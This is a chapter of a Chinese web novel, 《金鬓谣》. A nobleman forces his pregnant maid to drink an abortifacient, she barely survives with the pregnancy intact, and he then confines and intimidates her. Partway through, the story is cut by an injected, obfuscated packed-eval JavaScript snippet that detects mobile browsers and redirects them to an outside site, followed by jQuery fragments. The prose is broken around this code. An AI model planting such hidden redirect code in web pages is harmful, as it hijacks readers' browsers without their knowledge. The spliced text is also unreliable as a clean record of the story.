18.落胎药
作品:《金鬓谣》 明滢强行收敛脸上的慌乱,弯腰捡起书,扯了一个苍白的笑:“公子回来了,奴婢有一个字不认识,您可否教教奴婢。”
她就像没看到他手中端着的药碗。
裴霄雲薄唇抿着,不显神色,步步朝她走去。
明滢指尖发凉,在纸章上掐出一个印子,随即扔下书,捧起绣筐里的一只香囊:“公子,上次那个您不喜欢,奴婢学了一种新绣法,重新给您绣了一只。”
她慌张失措,没有旁的法子,只能如往常一样,朝他撒娇讨好。
裴霄雲没理会她前言不搭后语的话,看出她在反抗,在害怕。
他将碗搁在桌上,缓缓坐下,朝她伸手:“绵儿,过来。”
明滢愣在那处,轻微摇头。
“跟你说些事,你怕什么?”
他轻柔唤她,带着轻微魅惑与不容商榷的催促。
明滢迈着碎步,步步像踩在刀子上。
裴霄雲替她擦着泪,宽厚的胸膛将她包裹,绝口不提其他事,先道:“过些日子我要去一趟扬州,带你一起去如何?还是住在我们之前的那间院子里,不知道院里的花还在不在开。 ”
明滢与他对视,平静的眸中惊起一丝波澜。
裴霄雲摸着她莹白的脸,趁她失神,端过药:“你把这碗药喝下去,一切就过去了,等你养好了身子,我们就启程。”
乌黑的药汁映入明滢眼底,她的瞳孔一暗,像失了泉源的枯井。
原来去扬州只是他的怀柔。
打一巴掌再给一颗甜枣。
狠狠刺她一刀后再来安抚吗,他一贯都是这样。
“公子,我只怕,我没有命去了。”她的泪水滴在碗沿。
她不想跟他去扬州,也不要当他的妾,再强行咽下那些所谓的恩宠。
她只想留下这个孩子。
“你在说什么胡话。”裴霄雲企图用承诺抚平她恐惧的心神,“这方子是胡太医开的,他是太医院的人,不会伤你的身子的,也不会影响以后。”
明滢苦涩一笑。
她的身子就是这样了,至于以后,也不过是个奴婢,这样的承诺与她而言又有什么用呢。
“公子,我的亲人都不在了,这个孩子是我唯一血脉相连的骨血了。”
“你不是还有我吗?”
他说这句话,明滢听着格外刺耳。
裴霄雲揉着她的眼眶,渐渐地,他脸上的柔色消匿不见:“这么些日子,你还没想清楚吗?”
她从前对他说一不二,为何这次好像失控于他的掌心?
他失去耐心,拉过她的手,“你想自己喝还是我喂你喝?”
明滢也拉过他的手,贴在自己的小腹上:“它总在我腹中动来动去,您能感受到吗?”
裴霄雲的手掌一瞬间僵硬,盯着她腹部看了半晌,而后,缓缓移开手掌与目光。
明滢闭上眼轻叹,睁开眼时,露出一丝倔强:“您就这么狠心吗,您与县主情深义重,可我腹中也是您的孩子,为了您未过门的妻子,就能舍弃这个孩子吗?”
裴霄雲额角一跳,他在她脸上看到他从未见到过的神情。
是他平日里太宠她了,还是她跟林霰学了些狂悖的东西,让她敢这样对他说话。
他做的决定,就没有一个错的。
这个孩子不能留,对所有人都好。
“你知道就好。”他眼神冰冷,再一次提醒她莫要忘了身份。
明滢的心如被撕碎,连呼出一口气胸口都油煎火烤般地疼。
这么多年的情分,哪怕是一只听话的猫狗,主人都会怜惜三分。
可裴霄雲就是一块冰冷的石头,对她没有半分在乎,更遑论这个孩子。
生下来了又怎么样呢,跟她一样为奴为婢,任人驱驰,她庇护不了,也没有父亲的疼爱。
这个孩子,怎么就投胎投到她肚子里来了呢……
“我喝,我自己喝。”
她端过那碗药,手腕不住地颤抖,碗里映着她惨白的脸。
这么多日的担惊受怕在这一刻终结,悬在头顶的刀稳稳落下。
这样活着也难受,就算是死了,也是她的命。
她仰头,一碗药见了底。
喝过的苦药太多了,连这样的药在嘴里都索然无味。
药碗“哐当”坠落,任凭瓦片迸裂声震耳欲聋,也划不破一丝暗夜的寂静。
明滢躺在榻上流泪。
裴霄雲坐着,静静地看着她。
狭隘的屋内,各处充斥着黑暗与晦涩,静得可怖,冷得刺骨。
过了半个时辰,明滢突然眉头紧锁,腹中开始绞痛。
她喘着粗气,捂着小腹,艰难地滚动翻覆,像有一把剪刀在肚子里剪,把一块块血肉剪得粉碎。
“绵儿?”裴霄雲喊了她几声。
明滢额头落下豆大的汗珠,泪水把枕巾打湿,别过眼去,不理会他的叫喊。
顷刻,又像有一双手把五脏六腑都撕碎,她没有放声哭喊,只是断断续续喊了几声爹娘,空洞的眼中灌入几丝活水,她仿佛看到了亲人的影子。
若没有那场灾祸,她如今也有爹娘和哥哥疼爱,或许能嫁个好人家,平安度过一生,不必屈于人下,受尽苦楚。
为什么要留下她一个人……
太疼了。
她的面色由惨白泛起青紫,极度瘦弱的脖颈鼓胀起几道青筋,喘气声微弱,连声音都变了。
裴霄雲眼底一恍,心头竟涌上一股惧意,慌张地开门出去,“来人,去找胡太医来。”
—
子夜,树影透过窗纱摇曳在地,形同鬼魅。
明滢阖上眼睡去,丫鬟替她擦了脸,仍旧难掩脸上的清白。
裴霄雲送走了胡太医,返回屋内时,对廊下站着的一排丫鬟道:“今夜之事,谁敢说出去,乱棍打死。”
他进了屋,望着明滢的睡颜,那道沙哑的哭喊声还在耳边回荡。
孩子还是保住了,她醒来后定要开心欢颜了。
察觉她面色不对时,他便立刻让人去请了胡太医,胡太医道她身子还是太虚,若是强行拿下孩子,大人也不能活。
随后给她扎了几针,又开了一副方子熬了给她灌下,将那药全呕了出来,人什么时候醒还不一定。
如此折腾一夜,她整个人就像一张皱巴的纸,再经不得半分摧残。
裴霄雲听着她绵长的呼吸声,才松了几分心神,他虽不想要孩子,可也见不得她死。
为今之计,只能该瞒的瞒着了。
明滢醒来时,已是三日后了。
她突然坐起身,满头大汗地喘息。
她梦到一个浑身血淋淋的孩子对着她哭,看不清是男孩还是女孩,那哭声凄厉,抓心挠肝。
裴霄雲恰巧下衙回来,这几日回院子第一件事便是来看她。
刚进来,便见她大汗淋漓靠在榻上,像是受了惊吓。
“绵儿,你醒了?”他的声音荡出一丝波澜。
明滢见他进来,下意识往里缩,抬头望向窗外空荡荡的枝头,浑身被抽走力气,像一个死物。
他亲手杀死了她的孩子,她对他再也没有一丝期待。
那碗药,竟没把她也一起送走。
真是太可惜了。
裴霄雲看着她这副样子,笃定她还是在怄气,对她道:“往后你就待在院子里,不得离开一步,等到快临盆,我会把你送到城郊庄子上去生产。”
册封的旨意马上要下了,这段时日不可走漏风声,她还是待在院中最安全。
明滢惊愕转头,呼吸停滞几息,不可思议般摸上小腹:“孩子……还在?”
她觉得自己像是死了一回,又做了个梦。
“不要声张,绵儿,我费尽心思遮掩,你再不要给我添麻烦了。”裴霄雲揽过她,手掌搭在她肩上,是安慰也是警告。
明滢怔怔点头,呆滞地一连道了几个好字。
她只记得她疼昏过去时眼前还是他冰冷的脸。
可为何孩子最后留了下来呢。
她面无表情任他抱着,不再去想其他的,也不敢再去问他。
只要留下孩子,她做什么都可以,所有的泪水,她都可以咽回去。
院子里的丫鬟被裴霄雲换了一大批,那夜进来房中伺候的两个丫鬟,早已被他处置了,明滢还叫得上名字的,只有寥寥数人。
又过了一个月,明滢的肚子渐渐显了怀,除了穿些宽松衣裙能遮掩,夜里躺下时已能清晰地感觉到小腹隆起一圈。
她成日闭门不出,像被那碗药抽干了气血,身心都是蔫的,天光投入窗,她就坐在榻上发呆。
裴霄雲这一个月不知在忙什么,回院子很少,若是换做往常,她会盼着他回来,可如今,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483802|184896||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她好像没什么心思了。
凌霜这几日频繁去正院看她生病的娘,只有鱼儿拉着她去兰芳榭玩,她觉得身上都快要发霉了,便应了她。
厨房的那只小白狗跑到了兰芳榭,她跟鱼儿蹲下.身来与狗玩得不亦乐乎。
兰芳榭是兰清濯院地势最高的亭子,站在这能望到前院的景色。
明滢有些累了,站起身,看到前院两道并肩的人影。
一人是裴霄雲,还有一人,应是府上的客。
她多看了几眼,恰好与裴霄雲的视线撞个正着,他的眼神不冷不热,看了她几眼后不动声色地收回目光。
明滢不觉得有什么,也默默移回视线。
天黑了,她回了房,低头做了会儿针线活,便听见外头传来哭嚎。
“大爷,奴婢再也不敢了!大爷饶了奴婢吧!”
她听出这是鱼儿的声音,赶忙跑出去,见鱼儿在挨板子,她才十四岁,趴在刑凳上,那般小小的一个人。
裴霄雲则是刚回来,冷着眉眼站在廊下还没进屋。
她惊慌跑出来,一头撞进他怀中,连连隔开两步:“公子,她做错了什么,为何要罚她?”
裴霄雲淡淡道:“你怎么不问问你自己,我不是说了吗,叫你待在院子里,你跑去兰芳榭做什么?”
他袭了爵位,今日府上来的都是翊王府与太子的人,特意来道贺的。
他指了指鱼儿:“是她唆使你去的?”
明滢是真真切切体会过他的心狠的,抓住他的衣袖,求他:“是奴婢自己要去的,和她没关系,公子罚我吧。”
鱼儿年纪小,再挨几板子都要晕过去了。
“罚你?你还怀着身孕呢。”裴霄雲幽幽看向她,沉下声,“你和旁人怎么能一样。”
不知从何时开始,她总是接连挠破他的掌心,像亟待破土而出的花。
他很不喜欢失控感。
他是她的恩人,也是她的主人,给她容身之所,对她百依百顺,这般护着她,她却还是不知天高地厚。
她怎么能一次又一次不听他的话呢?
他转身进去,留下一句:“罚你自然不能同旁人一样罚,你就在外头站着吧。”
明滢望着他的背影,眼底盛着一滩死水。
四年的情分,四年的念想,都在那碗落胎药里耗尽了。
他依旧牢牢束缚她,压得她喘不过气来,这一刻,她由衷感觉到筋疲力尽,她所受的所有伤痛在合力撕扯叫嚣。
所幸,她还有孩子。
等他娶了妻,忘了她,赶她走也好,困在后院也罢,她还可以带着孩子好好活。
鱼儿被人抬了下去,万幸还有一口气。
她想上前去看看鱼儿的伤势,屋里却传来他的声音。
“进来。”
她不敢明面上违抗他,掀帘进去,见他在案前写着什么,走过去淡淡行礼,候在一旁。
裴霄雲边提笔边等着她研墨,却迟迟未见她的动作,他眉眼间溢出不悦之色,扫了她一眼:“病了几日,连研墨都不会了?”
明滢立马拿起墨条,往研台里注水,手腕转动,擦出乌黑的墨汁。
她成日喝药,身上有股淡淡的药香,混着甜香随着衣摆浮动涌入裴霄雲鼻中,他杂乱的神思散开几分。
不过,没有往日的红袖添香。
只因身旁的人,有些不情愿。
他念她怀着身孕,不忍她在外头多站,她竟为了一个丫鬟,摆出这样一副脸色给他看。
他一把攥着她白皙的皓腕,“你有孕,我舍不得罚你,你若是再敢把我的话当耳旁风,我有的是法子罚你身边的人。”
听到这句“舍不得”,明滢嘴角浅浅抽动。
她眼底流露出无限的黯淡:“公子还是放奴婢走吧,奴婢不给您添麻烦。”
他这样凉薄的人,亲手把药送到她面前,最后一刻留下她与孩子,总不可能是心软。
到底是为什么,她也不知。
或许是他刚受封国公,后院里若是一尸两命,必要遭外人非议,他在乎仕途,在乎利益与脸面。
既如此,赶她走便是,她不会再挡他的路,也不会挡他与佳人恩爱。
她刚说完,下颌便被人狠狠掐上。
裴霄雲再次被她这句话点燃怒火的引芯,眸中倒映着橘黄的烛光,字字清晰:“你哪也不许去。”